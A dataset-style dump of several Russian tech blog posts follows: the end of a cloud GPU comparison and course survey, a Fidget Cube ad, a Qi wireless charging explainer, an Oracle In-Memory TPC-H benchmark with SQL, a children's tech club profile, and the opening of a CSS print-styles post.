Также важно отметить что только на платформе Bluemix сейчас доступны GPU поколения Maxwell. На момент написания поста им не было аналогов у других публичных облачных платформ. Если что, прямая ссылка на конфигуратор тут.
В нашем сравнении мы не затрагиваем тему сравнения платформы с платформой, т.к. эти сервисы представляют собой совершенно разный подход. IBM Bluemix фокусируется больше на предоставлении инфраструктурных сервисов (Softlayer) и в то же время предлагает своим клиентам сервисы PaaS Bluemix (Аналитика, большие данные, виртуальные контейнеры и т.д.). AWS сфокусирован на виртуальных сервисах и PaaS, за основу взят KVM гипервизор, Azure же в свою очередь сконцентрирован на всем стеке Microsoft.
Очевидно, что не до конца справедливо сравнивать лоб в лоб цены тех или иных решений у разных провайдеров, нужно понимать что вы получаете за эту цену! Например, если вдаваться в подробности и изучать документацию, выяснится, что AWS и Azure за каждое обращение в техническую поддержку взимает с клиента деньги, IBM Bluemix — нет. Если у вас сервисы находятся в разных географически разнесенных ЦОДах, то в случае Azure и AWS за трафик внутри сети ЦОДов оплачивает клиент, в то время как в IBM Bluemix трафик внутри сети для клиентов бесплатен и т.д. Можно еще много всяких нюансов обнаружить в функциональной, практической, и юридической плоскости. На наш взгляд, если вам нужно максимально персонализированное решение, и речь идет о значительных рабочих нагрузках, то выбор Bluemix оптимален, т.к. вы полностью администрируете и управляете ресурсами и любой сервис прозрачен, в то же время если вам нужно несколько рабочих станций максимально готовых к использованию (требуют наименьшего администрирования) и вам не критична производительность, то Azure и AWS идеально вам подойдут. Результат
Итог таков, что несмотря на все сложности, которые мы испытывали, первый запуск программы Deep Learning можно считать успешным. По итогам нашего опроса мы получили следующие результаты:
1. Насколько ваши ожидания от курса совпали с реальностью?
По шкале от 1 до 10: 1 — ожидания полностью не оправдались, 10 — курс превзошел все мои ожидания.
2. Каков главный результат вы получили от программы?
3. Как планируете применять полученные знания и навыки?
4. Насколько вам понравился формат программы: 2 очных дня с лабораторной работой?
5. Насколько вероятно, что вы порекомендуете эту программу своим знакомым?
Исходя из этих данных, мы считаем первый запуск программы Deep Learning успешным. Важные для нас метрики показывают, что участники в большинстве довольны полученным результатом и готовы рекомендовать программу знакомым. Похоже, что мы не очень попали с форматом. Мы сделали выводы по пилотному запуску, и будем его модифицировать к следующему набору . Идеи есть! | https://habrahabr.ru/company/npl/blog/317766/ |
habrahabr | Fidget Cube: волшебный кубик, который позволяет одновременно успокоиться и сосредоточиться | ['fidget cube', 'релакс', 'как успокоиться', 'психомоторика'] |
Любите ли вы щелкать кнопкой авторучки? А крутить ее в руках? Психологи утверждают, что подавляющему большинству людей это нравится, осознают они это или нет. Безразлично, ручка ли это,... |
Любите ли вы щелкать кнопкой авторучки? А крутить ее в руках? Психологи утверждают, что подавляющему большинству людей это нравится, осознают они это или нет. Безразлично, ручка ли это, монетка, карандаш или телефон. Но сейчас появилась одна вещь, которая может собой заменить и монетку, и авторучку, и все остальное. Речь идет о Fidget Cube — механическом устройстве, созданном для того, чтобы помогать людям успокаиваться. Плюс ко всему, этот гаджет обеспечивает и возможность сконцентрироваться на решении какой-либо задачи.
Внешне механическое устройство действительно выглядит, как кубик, на каждой из сторон которого есть рычажок, кнопка, переключатель, шарик, выемка или колесико. Создатели Fidget Cube говорят, что если использовать девайс регулярно, то нервы будут в порядке (лучше, конечно, просто не переживать по мелочам, но на это способны немногие). Ну а теперь подробнее. Так что же ты такое, Fidget Cube?
По словам разработчиков, гаджет представляет собой комбинированную систему, включающая большое количество «сенсомоторных средств релаксации и концентрации». Здесь есть даже выемка, которая выполнена по образу и подобию нефритовых камней «успокоения» из Древнего Китая. Китайцы, да и не только они, тысячи лет используют «камни беспокойства» для релаксации.
Кроме выемки, на Fidget Cube можно видеть следующие элементы: Кнопки . Их всего пять штук. Есть кнопки, которые издают звуки при нажатии, есть кнопки тихие, их стоит использовать, например, в офисе, где сотрудников раздражают щелкающие звуки.
Джойстик . Даже, если пользователь и не является геймером, этот элемент может ему помочь справиться со стрессом. Ниже есть видео, там показано, как действует этот элемент.
Переключатель . Дети любят нажимать на выключатель, они способны делать это очень долгое время. Признайтесь — иногда вам самим же хочется понажимать на выключатель освещения в офисе или дома? Но мысль о том, что это как-то несерьезно, останавливает.
Шарик и колесики . Ну тут все и так ясно. Плюс ко всему, на шарик тоже можно нажимать, он будет щелкать. Одна из самых привлекательных сторон кубика.
Диск с небольшой ручкой . Последнее в арсенале Fidget Cube средство успокоения и концентрации. Этот диск позволяет подумать о серьезной задаче, не отвлекаясь ни на что, кроме его вращения. Классно же.
Где можно использовать Fidget Cube?
В общем-то, везде и всюду. В офисе, в дороге (конечно, не за рулем), во время обучения, на встрече или при просмотре телевизора. Кубик для релаксации маленький, легко помещается в карман или сумку. Нервничаете? Берем Fidget Cube и начинаем справляться со стрессом.
По мнению специалистов, даже люди, которые не слишком нервничают, обычно получают удовольствие, когда крутят Fidget Cube в руках. Так что его можно использовать и без особой цели — так, удовольствия ради. Еще этому кубику будут рады маленькие дети, о которых уже шла речь выше.
О том, насколько этот волшебный кубик понравился пользователям сети, можно судить по размеру сборов средств кампании на Kickstarter. Собрано уже $6 465 690 вместо … $15 000 запланированной суммы. Предзаказ на кубик сделали 154926 бекеров — если подумать, это население небольшого города. Ну ок, хочу купить Fidget Cube. Где это можно сделать?
Тут проблемы нет — этот механический гаджет можно приобрести у нас в Madrobots. Кстати, половина наших сотрудников уже ходит с такими кубиками, а другая половина завидует первой и регулярно ходит на склад, чтобы узнать, не пришла ли новая партия.
Часть первой поставки у нас еще осталась, но это НЗ для покупателей. Так что поспешите, а то сотрудники, неровен час, разберут остальное. Да, сейчас в наличии Fidget Cube серого и белого цветов. А вообще такие кубики есть еще розового, салатового и других расцветок.
Напоминаем, что для всех наших читателей действует промо-код GEEK, дающий 5 процентов скидки на любой товар из магазина Madrobots . Вы можете передавать этот код своим друзьям, знакомым и родственникам — такое только приветствуется! | https://geektimes.ru/company/madrobots/blog/283776/ |
habrahabr | Даешь по Qi на каждую тумбочку! Или почему за беспроводной зарядкой будущее | ['Qi', 'беспроводная зарядка', 'смартфоны'] | Привет, Гиктаймс! Технологии сейчас развиваются так быстро, что за ними сложно уследить. Вроде бы еще недавно удивлялись устройствам с сенсорными дисплеями, а здесь уже анонсируют безрамочный... | Привет, Гиктаймс! Технологии сейчас развиваются так быстро, что за ними сложно уследить. Вроде бы еще недавно удивлялись устройствам с сенсорными дисплеями, а здесь уже анонсируют безрамочный смартфон . Многими плодами современного смартфоностроения мы с вами пользуемся каждый день и зачастую даже не задумываемся, как же оно все работает. Речь сегодня пойдет о беспроводной зарядке (владельцам iPhone не советуем уходить, в конце для них будет сюрприз).
Как все происходит с точки зрения пользователя, владельцы мобильных устройств прекрасно знают: пришли домой или на работу, положили девайс на специальную подставку или тумбочку (да-да, IKEA в прошлом году порадовала гиков мебелью со встроенным устройством зарядки) — и заветные проценты тут же устремляются вверх. Чтобы все было вот так просто, производителям, среди которых Qualcomm, Intel, NXP и многие другие, понадобилось немало времени и усилий для внедрения на рынок коммерчески привлекательных беспроводных зарядок.
Среди экспертов распространен спор: а можно ли считать зарядку беспроводной, если по сути для нее все равно используется кабель, пусть и подключенный не к смартфону, а к другому устройству? Поскольку в данном случае все равно задействуется беспроводной способ передачи энергии, вполне. Способов этих несколько, но в электротехнике больше всего распространены решения, которые используют явление электромагнитной индукции для беспроводной передачи электроэнергии. Немного о технологиях
Метод электромагнитной индукции мы еще разберем более подробно, пока же поговорим о других способах бесконтактной передачи электроэнергии. Один из них — ультразвуковой. В этом случае передатчик излучает ультразвук, а приемник осуществляет преобразование в электричество. Публике ультразвуковой способ был представлен в 2011 году, и на презентации он уже мог осуществлять передачу электроэнергии на расстоянии 7-10 метров, правда прямая видимость приемника и передатчика все равно была необходима. Передаваемое напряжение достигает 8 вольт. Демо технологии на выставке D9 в 2011 году
Микроволновое излучение знакомо каждому. Но вот для обратного преобразования микроволновой энергии в электричество потребуется ректенна с эффективностью преобразования не менее 95 %. Кроме того, передающая антенна и ректенна должны быть больших размеров (около 1 км и 10 км соответственно), что делает подобный способ передачи энергии актуальным разве что для космических целей. Экспериментально беспроводная передача энергии с помощью микроволн подтверждена, однако практическое применение так и не получила, тем более среди потребительских устройств.
Если длина волны электромагнитного излучения составляет от 10 мкм до 10 нм, то есть приближена к видимой области спектра, становится возможной передача энергии с помощью ее преобразования в луч лазера, который затем направляется на фотоэлемент приемника. Малый угол расходимости монохроматической световой волны увеличивает эффективность передачи энергии на большие расстояния, компактный размер удобен для небольших устройств, да и лазер не создает радиочастотных помех для сотовых телефонов. Тем не менее в смартфонах от него отказались по вполне очевидной причине — неэффективность преобразования низкочастотного электромагнитного излучения в свет и света в электричество (КПД фотоэлементов 40-50 %), высокие потери в атмосфере. Поэтому в основном передача энергии лазером тестируется в космосе.
В коммерческих целях пока используется только одна технология беспроводной передачи электричества: при помощи электромагнитной индукции. Спасибо Тесле и Фарадею
Благодаря именно этим великим ученым в свое время были получены исследования в направлении передачи электричества по воздуху посредством электромагнитной индукции. Еще в 1831 году Майкл Фарадей открыл важный базовый закон электромагнетизма — закон индукции, а уже в 1893 году Никола Тесла продемонстрировал беспроводное освещение люминесцентными лампами в проекте для Колумбовской всемирной выставки в Чикаго. Сейчас же беспроводная зарядка применяется в целом арсенале устройств — от зубных щеток до смартфонов и автомобилей.
Если говорить более-менее простым языком, работа беспроводной зарядки основана на свойствах индукционной катушки передавать электрический ток. При ее подключению к источнику питания в ней возникает магнитное поле, которое перпендикулярно виткам самой катушки. Так что если к одной катушке подключить питание, а вторую расположить в зоне действия ее магнитного поля, в ней появится напряжение. При этом ни при каких обстоятельствах две индукционные катушки не должны соприкасаться между собой.
Одна из катушек обязательно должна выступать в роли источника, то есть к ней должно быть подведено электричество, а вторая — приемника, поэтому полностью от проводов отказаться пока нельзя. Две катушки образуют систему с индуктивной связью, как на рисунке выше. В обмотке источника (первой катушки) протекает переменный ток, который и создает магнитное поле. Последнее индуцирует напряжение в катушке-приемнике: оно может использоваться как для питания устройства, так и для зарядки аккумулятора. Если вторичная катушка сильно удаляется от первичной, магнитное поле рассеивается, поскольку не может ее достичь. Поэтому при удалении индуктивная связь становится неэффективной.
В современное время распространены две технологии беспроводной зарядки при помощи электромагнитной индукции. В одной используются сильно связанные катушки (MI — магнитно-индуктивная), в другой — слабо связанные (MR — магнитно-резонансная). Консорциум беспроводной электромагнитной энергии WPC базируется на использовании технологии MI, A4WP рекомендует использовать MR. В системах MR требуется обеспечить более высокие значения добротности (от 50 и более), чем в MI-системах, тогда как для существующих систем беспроводной зарядки значение добротности составляет от 30 до 50.
Поэтому сейчас в основу беспроводных зарядных устройств положена технология MI — сама спецификация (стандарт), в соответствии с которой создаются девайсы, называется Qi. В русской транскрипции он произносится как «Ци», что означает поток энергии. Первая разновидность стандарта позволяет заряжать устройства при низкой мощности (5 ватт), а вторая — при высокой (120 ватт). Если первую используют для зарядки аккумуляторов смартфонов и планшетов, то с помощью высокой мощности можно даже зарядить ноутбук. Правда, до коммерческого использования Qi высокой мощности так и не дошло.
Производители активно штурмуют стандарт Qi, используя его в своих смартфонах и планшетах. В новинках этого года Xiaomi Mi5 ( в белом цвете тоже ), Xiaomi Mi4s и Blackview R7 Qi нет, но зато есть технология Quick Charge, с которой смартфоны зарядятся гораздо быстрее. Модуль зарядки можно расположить в любом месте как дома, так и на работе, а если совместить его с элементом мебели (той же лампой из IKEA), можно минимизировать количество проводов.
В основном среди пользователей распространены круглые и прямоугольные передатчики, которые также называют трансмиттерами. Следует отметить, что магнитное поле способно передавать не только электрический ток, но и данные о байтах и битах, чем воспользовались при создании стандарта Qi. Катушки не будут взаимодействовать между собой, если гаджет со встроенным трансмиттером не будет находиться около передатчика. Как только аккумулятор смартфона будет заряжен, он подаст нужный сигнал, и трансмиттер начнет работу в фоновом режиме. При функционировании аксессуара в фоновом режиме посылаемый каждые 0,4 секунды передатчиком импульс не будет изменять напряжение в катушке, встроенной в трансмиттер. Однако при снижении расстояния между смартфоном и аксессуаром до нужного расстояния, устройство перейдет в режим активной работы, поскольку напряжение в индукционной катушке резко снизится.
Хотя зарядка смартфонов и планшетов с помощью Qi и соответствующих аксессуаров происходит медленнее, чем с помощью кабеля, технология все равно пользуется заметным спросом среди пользователей. Согласитесь, гораздо удобнее один раз создать небольшую «площадку» около кровати для зарядки всех девайсов, чем каждый вечер распутывать 4-5 кабелей — от своего смартфона, телефона жены, умных часов, а если еще и внешний аккумулятор решили зарядить, так вообще беда. А это не вредно?
Многие задаются этим вопросом перед использованием Qi, ведь магнитное поле имеет излучение. Тем не менее магнитное излучение не является ионизирующим — оно влияет на организм человека не больше, чем Wi-Fi или сигнал мобильной связи. Кроме того, электромагнитное излучение пропадает сразу же, как батарея девайса зарядится, а мощности 5 ватт не хватит, чтобы оказать негативное воздействие. Не зря беспроводную зарядку используют даже в бритвах и зубных щетках.
Что делать, если Android-смартфон не поддерживает Qi? Не стоит переживать, на этот случай производители выпускают целый ассортимент специальных аксессуаров, причем стоимость многих не превышает пяти долларов . Они состоят из трансмиттера и специального приемника, который подключается в стандартный порт для зарядки — тот же micro-USB. Приемник можно зафиксировать, например, с помощью чехла, и получить по сути смартфон с Qi. iPhone в пролете?
Хотя Apple и грозится сделать беспроводную зарядку с возможностью удаления девайса от трансмиттера на расстояние до одного метра (для клавиатуры и мыши), пока Qi нет даже в iPhone 7 и iPhone 7 Plus. Но выход, как мы и обещали вначале, есть — как и в случае с Android-девайсами, умельцы из Китая создали специальные аксессуары . Приемник подключается к смартфону при помощи Lightning, после чего может использоваться с любыми аксессуарами Qi для зарядки. Да, даже с мебелью и трансмиттерами для Android-устройств. Так что все в ваших руках! Будущее без проводов
За последние несколько лет к стихии Qi подключились многие, включая автомобильных производителей. Они тоже понимают, что технологии постепенно отходят от проводов, а лишние кабели в автомобиле вообще ни к чему. Конечно, малый радиус действия по-прежнему остается главным препятствием, но и он преодолим, причем в ближайшем будущем. | https://geektimes.ru/company/gearbest/blog/283780/ |
habrahabr | Тестирование производительности Oracle In-Memory Option c использованием TPC-H Benchmark | ['администрирование баз данных;'] | Одним из ключевых нововведений СУБД Oracle версии 12.1.0.2 стала опция In-Memory. Основная её идея заключается в том, что для выбранных таблиц вы можете легко активировать dual-format режим,... | Одним из ключевых нововведений СУБД Oracle версии 12.1.0.2 стала опция In-Memory. Основная её идея заключается в том, что для выбранных таблиц вы можете легко активировать dual-format режим, который объединяет стандартный для Oracle DB построчный формат хранения данных на диске и поколоночный формат в оперативной памяти.
Соответствующее преобразование и дублирование данных в память происходит автоматически. Лично для меня это было большой новостью, так как я занимаюсь разработкой хранилищ данных (DWH) и имел опыт работы с column-oriented DBMS Sybase IQ и HP Vertica, которые созданы для хранилищ и аналитики. А Oracle предложил Column Store плюс In-Memory плюс все возможности любимой СУБД! По сути, с этим решением Oracle вышел на рынок аналитических in-memory баз данных (кто не читал, рекомендую отличную статью на Хабре со сравнением баз данных этого класса). Идея Oracle очень многообещающая, но на практике на моих тестовых примерах результаты, к большому сожалению, не впечатлили. Было это в прошлом году и я решил подождать пока технологию усовершенствуют. После выхода очередного патча с улучшениями In-Memory Option я вернулся к этому вопросу. Для статьи был выбран более объективный тест, который при желании смогут повторить читатели.
Прежде чем перейти к своему бенчмарку, приведу пару ссылок. В статье на Хабре в блоге компании Oracle подробное описание In-Memory Option и её фантастических результатов. В другой статье этого же блога приведён тест производительности, но используются только 2 таблицы и пару простых запросов. TPC-H Benchmark
Для теста производительности я использовал tpc-h benchmark , который используется для сравнения производительности аналитических систем и хранилищ данных. Этот бенчмарк используют многие производители как СУБД, так и серверного оборудования. На странице tpc-h доступно много результатов, для публикации которых необходимо выполнить все требования спецификации на 136 страницах. Я публиковать официально свой тест не собирался, поэтому всем правилам строго не следовал. Также для упрощения процесса тестирования я воспользовался бесплатной версией программы Benchmark Factory for Databases .
TPC-H позволяет сгенерировать данные для 8-ми таблиц с использованием заданного параметра scale factor, который определяет примерный объём данных в гигабайтах. Я ограничился 2 Гб, так как больше не позволяет бесплатная версия Benchmark Factory. Итоговое количество строк в таблицах: Таблица
Кол-во строк
H_LINEITEM
11 996 782
H_ORDER
3 000 000
H_PARTSUPP
1 600 000
H_PART
400 000
H_CUSTOMER
300 000
H_SUPPLIER
20 000
H_NATION
25
H_REGION
5
Тест включает 22 SQL запроса различной сложности. Сравнивалось время выполнения с использованием In-Memory и без. При этом была сгенерирована следующая нагрузка: 8 виртуальных пользователей параллельно 3 раза по кругу выполняют все 22 запроса. В итоге оценивалось время выполнения 528-ми SQL запросов.
Тем, кому данный тест покажется недостаточно сложным, рекомендую обратить внимание на другой более свежий Benchmark — TPC-DS . В нём больше таблиц и значительно больше запросов – 99. Стенд для тестирования Ноутбук со следующими характеристиками:
— Intel Core i5-4210 CPU 1.70GHz – 4 cores; DDR3 16 Gb; SSD Disk. ОС:
— MS Windows 8.1 x64 СУБД:
— Oracle Database 12c EE 12.1.0.2.0
— Interim patches (1): «WINDOWS DB BUNDLE PATCH 12.1.0.2.160531(64bit): 23179016» DB Memory Configuration:
— memory_target = 10G;
— sga_target = 8G;
— inmemory_size = 3G; Установка параметров In-Memory (IM)
Кроме установки параметра БД inmemory_size достаточно указать данные каких таблиц или их частей необходимо дублировать в кэше IM, всё остальное Oracle сделает за вас. Таким образом, перевести существующую БД на IM очень просто при наличии достаточного количества оперативной памяти. Переписывать ничего не нужно, можно только удалить индексы, которые не нужны для таблиц IM. Также отмечу стабильную работу, я не столкнулся ни с одним багом, связанным с IM.
В моём тесте все таблицы целиком отправились в IM: ALTER TABLE MY_TABLE_NAME INMEMORY MEMCOMPRESS FOR QUERY HIGH PRIORITY CRITICAL; MEMCOMPRESS FOR QUERY HIGH — оптимизированный для производительности запросов и для экономии памяти вариант (есть ещё 5 других вариантов, про которые можно прочитать в документации).
PRIORITY CRITICAL – определяет приоритет репликации в IM кэш.
Важным нюансом ещё является то, что данные в колонках хорошо сжимаются, что и делает Oracle. Следующий запрос показывает объём данных на диске, в IM и коэффициент сжатия: select
SEGMENT_NAME,
ROUND(SUM(BYTES)/1024/1024/1024,2) "ORIG SIZE, Gb",
ROUND(SUM(INMEMORY_SIZE)/1024/1024/1024,2) "IM SIZE, Gb",
ROUND(SUM(BYTES)/SUM(INMEMORY_SIZE),2) "COMPRESS RATIO"
from V$IM_SEGMENTS
group by SEGMENT_NAME
order by 2 desc;
SEGMENT_NAME
ORIG SIZE, GB
IM SIZE, GB
COMPRESS RATIO
H_LINEITEM
1,74
0,67
2,62
H_ORDER
0,39
0,35
1,1
H_PARTSUPP
0,12
0,08
1,58
H_PART
0,06
0,02
2,96
H_CUSTOMER
0,04
0,03
1,42
H_NATION
0
0
0,22
H_SUPPLIER
0
0
0,89
H_REGION
0
0
0,22
Результаты выполнения теста
#1 No In-Memory
#2 In-Memory
Elapsed Time
7 мин. 23 сек.
6 мин. 26 сек.
Avg. Response Time (sec)
5.617
4.712
В заключение
Я не считаю, что по результатам одного любого теста можно делать какие-то категоричные выводы. Результаты могут сильно варьироваться в зависимости от моделей и объёмов данных, специфики запросов, конфигурации параметров СУБД, а также от аппаратной части. В качестве альтернативного примера приведу ссылку на некогда нашумевший бенчмарк, где компания Oracle сравнила производительность Oracle IM (на Exadata+Exalogic) и SAP HANA. Использовался SAP BW-EML Benchmark. В этом тесте аппаратно-программный комплекс от Oracle был на высоте.
Если у вас есть опыт использования Oracle In-Memory, буду рад прочитать об этом в комментариях. | https://habrahabr.ru/post/317774/ |
habrahabr | Академия Гениев | ['Академия гениев', 'образование'] | Социальное предпринимательство в действии. «Академия Гениев» – клуб, где дети в игровой форме изучают современные технологии.
Социальные проекты – это всегда хорошо, но, увы, не всегда... | Социальное предпринимательство в действии. «Академия Гениев» – клуб, где дети в игровой форме изучают современные технологии.
Социальные проекты – это всегда хорошо, но, увы, не всегда прибыльно. Особенно в России. Сегодня мы расскажем вам удивительную историю калининградской предпринимательницы Юлии Тарановой. Всего за два года ей удалось организовать сеть кружков, в которых дети от 6 до 18 лет увлеченно изучают робототехнику, программирование и системное администрирование.
Особый подход Юлии настолько успешен, что позволяет умело балансировать между пользой для многочисленных учеников и получением прибыли. И без Lenovo тут, конечно, не обошлось. Хотя наши компьютеры в этом рассказе – просто маленькое, но зато очень практичное дополнение. От учета и автоматизации к детскому образованию Юлия Таранова – гереальный директор «Академии Гениев»
Юлия Таранова занимается бизнесом давно. В 1996 году она основала компанию «ДРВ», ставшую сначала франчайзи, а затем дистрибьютором программного обеспечения 1С.
Юлия регулярно проводила бесплатные семинары для клиентов и конкурсы для студентов. Один из них – «Профессиональный конкурс по использованию «1С: Бухгалтерии» – стал всероссийским: награды его победителям теперь вручают в Кремле. Компания Юлии автоматизировала множество крупных предприятий – «Лукойл», «Эльдорадо», «Бауцентр». До сих они работают на учетных системах «ДРВ». А после того, как «ДРВ» – вошла в крупнейшую федеральную сеть занимающуюся автоматизацией и учетом, Юля начала строить другой важнейший бизнес.
Как и любой занимающийся бизнесом человек, Юлия не раз сталкивалась с проблемой подбора кадров. Ей всегда не хватало людей, умеющих думать, хорошо разбирающихся в информационных технологиях и готовых трудиться. Чаще всего специалистов приходилось выращивать с нуля.
Однако тут есть проблема. Если профессиональным навыкам можно научить практически в любом возрасте, то трудолюбие, гордость за достижение результата, интерес к развитию, желание улучшать все вокруг себя, честность и порядочность можно привить только в детстве. Так и появилась идея создать «Академию Гениев»: клуб для детей младшего, среднего и старшего школьного возраста, в котором они могли бы развивать все перечисленные выше качества, одновременно с этим изучая робототехнику, программирование, системное администрирование и другие современные технологии. Клубный формат и поддержание интереса
В «Академии Гениев» два основных направления. Детей от 6 до 11 лет приглашают вступить в клуб занимательной робототехники «РОБИТ», а для школьников постарше (от 11 до 18 лет) есть «1С: Клуб Программистов».
Обучение модульное. Например, полный курс по робототехнике состоит из пяти модулей, во время которых ребята работают на одноименных материалах по робототехнике РОБИТ с конструктором LegoWeDo, затем с Lego Mindstorms, а после этого дети переходят к освоению платы Arduino по материалам «1С: Клуба Программистов». Курсы программирования включают в себя разработку Web-приложений и мобильных приложений для Android, а также программирование на Scratch, Java и 1C. Плюс есть отдельные модули, посвященные системному администрированию, управлению разработкой и подготовке к ЕГЭ по информатике. Фактически это модель непрерывного дополнительного образования, которая развивает ребенка с дошкольного возраста до старших классов.
Темы сложные, но Юлии Тарановой и ее команде удалось выработать уникальный подход, который заключается в генерации интереса у учащихся. Смысл занятий не просто в том, чтобы выполнить определенную инструкцию по шаблону. Преподаватель помогает детям ответить на значимые для них вопросы: «как это работает?», «зачем это нужно?», «чем это поможет людям?» «как это можно улучшить?».
Очень важен клубный формат занятий. Дети не чувствуют себя так, словно сидят в скучном школьном классе. Преподаватели здесь – это друзья и наставники, новые знания преподносятся в игровой форме, с другими учащимися можно и нужно общаться на равных. В итоге дети раскрываются, не боятся задавать вопросы и сообща находят решения любых проблем! Ну и конечно, все в команде «Академии Гениев» уверены, что «Каждый Ребенок Гениален», и нужно просто создать условия для раскрытия талантов детей, что и делается каждым сотрудником компании.
Плюс, конечно, сама тема гаджетов и новых технологий по умолчанию интересна каждому современному ребенку. «Академия Гениев» дает возможность не просто бегло изучить интересные направления, а довольно глубоко погрузиться в тему, создать что-то новое своими руками.
В конце каждого модуля ученики показывают то, чему они научились за это время: представляют и защищают собственные проекты. Демонстрировать стандартные решения в «Академии Гениев» не принято, в каждый базовый проект ребята обязательно добавляют что-то, что они придумали сами. И на защите непременно присутствуют родители – им дети особенно охотно готовы рассказывать о своих успехах в таком возрасте. Впечатляющий рост и дети-разработчики
«Академия Гениев» открылась в прошлом году, и все начиналось скромно: с 20 учащихся. На сегодняшний день количество занимающихся детей уже перевалило за 300. Порядка ста человек из них – это новые учащиеся, а остальные 200 – дети, которые уже закончили несколько модулей.
Конверсия с модуля на модуль достигает внушительных 80-100%, и как раз именно это показывает, что с поддержанием интереса в «Академии» все очень здорово. Каждый случай, когда ребенок не стал заниматься дальше, тщательно анализируется. Самыми частыми причинами являются переезд семьи в другой регион или болезнь.
Помимо основных занятий в «Академии Гениев» есть проектные смены, которые проводятся при поддержке стратегического партнера Центральной Библиотечной Системы города Калининграда. Например, этим летом дети изучали развитие солнечной системы, а затем создавали тематическую игру на Java. На робототехнической смене осенью, ребята сделали робота-боксера, умный дом для особенных детей и придумали концепцию маленьких био-роботов, которые меняют в организме человека больные клетки на здоровые. А авторам этих проектов всего-то от шести до десяти лет!
Учащиеся «Академии» более старшего возраста регулярно участвуют в конкурсах. Для конкурса «Янтарные искры» они сделали мобильное приложение «Родительский комитет» с системой учета финансов и оповещениями. Также был проект «умного» холодильника, а в этом году дети разрабатывают социально-коммуникативную сеть.
Для детей с ДЦП, которые тоже успешно занимаются в «Академии Гениев», здесь придумали робота-помощника. Машина фиксирует детали так, чтобы с ними проще было работать непослушными из-за болезни руками. Этот проект занял одно из призовых мест в стартап-туре Сколково.
Еще одна интересная история связана с первым в России пляжем с «Голубым Флагом» в поселке Янтарный – так в мире помечают места отдыха на воде, специально оборудованные для инвалидов. По заказу компании «Метеостенд», инклюзивная команда ребят из «Академии Гениев» разработала всю программную начинку для метеостенда, который установлен на этом пляже: он показывает дату, время, а также температуру воздуха и воды. Фактически, это готовый к серийному производству продукт, который в режиме 24/7 без проблем работает на открытом воздухе. Причем, по плану, деньги от продаж метеостендов будут направляться на развитие инклюзивного образования в России. Надежные компьютеры для сотен учеников
Отдельного здания или какого-то огромного помещения для занятий у «Академии Гениев» пока нет. Идея обучения здесь состоит еще и в том, чтобы организовать занятия максимально близко к домам детей. На сегодняшний день дети могут учиться в любой из 14-ти доступных на выбор точек в Калининграде, и вскоре их наверняка станет еще больше.
Есть у «Академии» и мобильный класс, состоящий из шести наборов Lego и шести ноутбуков Lenovo. Роутер, проектор или телевизор есть сейчас практически на любой площадке, так что выездные занятия можно организовать почти в любом месте города.
Выбор Юлии и ее команды пал на ноутбуки Lenovo G50-30 с двухъядерными процессорами Celeron N3540, 2 ГБ оперативной памяти, видеокартой AMD Radeon R5, 250 ГБ на HDR и 15,6-дюймовыми экранами. В 2015-м году 32 такие машины «Академия Гениев» закупила в калининградской сети магазинов СОХО в дополнение к шести уже имевшимся.
Юлия Таранова: «Компьютеры мы выбирали в первую очередь по цене – на момент запуска «Академии Гениев» денег было очень мало. Вторым решающим фактором стала надежность ноутбуков, поэтому сначала мы взяли шесть машин и посмотрели, как они справляются с нагрузкой. Оказалось, что отлично. На сегодняшний день у нас почти 400 учеников и 50-60 регулярных групп, и за год при таком круговороте ни один из лэптопов не подвел нас». Социальный проект как успешный бизнес
«Академия Гениев» – это социальный проект, но, одновременно с этим, еще и бизнес. Юлии Тарановой удается успешно совмещать интересную идею и практическую пользу для общества с получением дохода.
В среднем стоимость одного модуля из 12 занятий в «Академии» составляет 6-8 тысяч рублей. Рентабельность бизнеса вместе с амортизацией оборудования составляет 26 процентов. Все полученные средства сразу же инвестируются в развитие, что позволяет расти на 300% в год. Получается, что даже социальный проект можно сделать выгодным, но ни о каких сверхприбылях и космических доходах речи, конечно же, не идет. Цель – вырастить поколение профессионалов, владеющих информационными технологиями и востребованных в любой сфере деятельности требует серьезных вложений.
Уже сейчас Юлия занимается продажей франшиз. Первый франчайзи недавно успешно запустил свой клуб по технологии «Академии Гениев» в Смоленске, и там тоже используют в работе недорогие и надежные ноутбуки Lenovo.
На первый взгляд кажется, что вот она, идеальная обучающая система, полностью готовая к интеграции в школьную программу. Юлия Таранова говорит, что ей очень бы этого хотелось, но не все так просто. Основательница «Академии Гениев» пыталась даже открыть клуб в одной из школ, но попытка не увенчалась успехом. Дети относились к дополнительным занятиям как к необязательным и регулярно их пропускали. К сожалению, открытый клубный формат современные школы обеспечить не могут. Тем не менее, Юлия готова работать с системой образования: предоставлять материалы по занимательной робототехнике РОБИТ, обучать преподавателей, что бы даже в школьном формате обучения использовались качественные проверенные отечественные современные инструменты, но, конечно, должно быть встречное движение и от самой системы образования. Господдержка и дальнейшие планы
Юлия признается, что поначалу не очень верила в то, что государственная поддержка для таких социальных проектов, как у нее, действительно существует. Однако в 2015-м году «Академия Гениев» успешно получила субсидию от Минпрома и Фонда поддержки предпринимателей. Таким образом, удалось компенсировать 80% своих затрат. В 2016-м году удалось получить еще одну субсидию, которая ушла на покупку дополнительных наборов Lego и компьютеров.
Дальнейшие планы еще интереснее. Во-первых, Юлия очень хочет поучаствовать в создании Центра молодежного инновационного творчества в Калининграде. Это отличная возможность научить детей работать с новым оборудованием: станками, сканерами и 3D-принтерами.
Во-вторых, после получения субсидии «Академия Гениев» купила расположенную под Калининградом старую немецкую школу с большой прилегающей к ней территорией. Теперь нужно найти деньги на ремонт, а со временем это место должно превратиться в реабилитационно-тренингово-инженерный центр для всех детей от 6 до 18 лет, в том числе и с ограниченными возможностями здоровья. Идея в том, чтобы дети сами или вместе с родителями приезжали сюда на выходные или на неделю, делали интересные проекты и учились чему-то новому вдали от городской суеты.
Надеемся, что эти планы обязательно претворятся в жизнь, и мы еще расскажем вам о новых достижениях Юлии Тарановой и ее мега-крутой-команды «Академии Гениев» на страницах Geektimes. Спасибо за внимание! | https://habrahabr.ru/company/lenovo/blog/317772/ |
habrahabr | CSS-стили для печати, о которых я забыл | ['CSS', 'печать', 'веб-разработка'] |
Аарон Густафсон недавно отправил твит Indiegogo, в котором было сказано, что при распечатке их страниц с информацией о заказе получается нечто совершенно неприличное. И понеслооось.
Dear... | Аарон Густафсон недавно отправил твит Indiegogo , в котором было сказано, что при распечатке их страниц с информацией о заказе получается нечто совершенно неприличное. И понеслооось. Dear @Indiegogo , please take a look at how your Order Details pages print. It really sucks right now. pic.twitter.com/48BA485sjb — Aaron Gustafson (@AaronGustafson) October 17, 2016
